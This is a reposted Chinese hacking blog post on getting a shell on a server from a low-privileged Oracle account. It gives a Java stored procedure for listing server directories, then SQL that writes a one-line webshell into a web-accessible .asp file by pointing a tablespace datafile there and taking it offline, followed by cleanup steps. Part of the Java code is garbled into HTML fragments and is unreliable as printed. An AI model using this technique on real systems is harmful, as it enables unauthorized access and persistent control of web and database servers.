oracle低权限下获取shell

gzijoqzgov

转载请标明:http://hi.baidu.com/hack_forensic   《关于oracle列目录的可行性测试》经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj021320在文章>最后说,当然这个方法缺点就是你要知道WEB路径.少费话,直接贴code:create global temporary table BLUEUSER.dirlist(filename varchar2(255),filesize number,filedate date)on commit delete rows;/create or replace and compile java source named DirList asimport java.io.*;import java.sql.*;public class DirList{public static void getList(String directory) throws SQLException{File path=new File(directory);String[] fileList=path.list();String fileName;long fileSize;long fileDate;for (int i=0;i<filelist.length i filename="fileList;" file fpath="new" filesize="fpath.length();" filedate="fpath.lastModified();" into blueuser.dirlist values create or replace procedure blueuser.p_get_dir_list in varchar2 as language java name sql> exec BLUEUSER.p_get_dir_list(‘/tmp’);PL/SQL procedure successfully completedselect * from BLUEUSER.dirlist;select * from BLUEUSER.dirlist where rownum create tablespace kjtest datafile ‘e:/website/kj.asp’ size 100k nologging ;表空间已创建。这里记住了  100K为ORACLE 表空间最小的单位，如果你的一句话SHELL比较大 那可以200K比较稳妥但是最终建议一句话一定要最最简洁SQL&gt; CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;表已创建。一般用 VARCHAR类型已经可以 ，表空间太小了 ，所以不可以 为 CLOB或者 BLOB类型。SQL&gt; insert into WEBSHELL values(‘’);已创建 1 行。SQL&gt; commit;提交完成。提交完成之后就 OK？ NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间SQL&gt; alter tablespace kjtest offline;表空间已更改。到这里 你的 一句话SHELL代码已经 写到 那个文件了你会发现有这样的 的 代码一句话shell已经OK了最后使用后记得吧 表空间删除SQL&gt; drop tablespace kjtest including contents;表空间已删除。</filelist.length>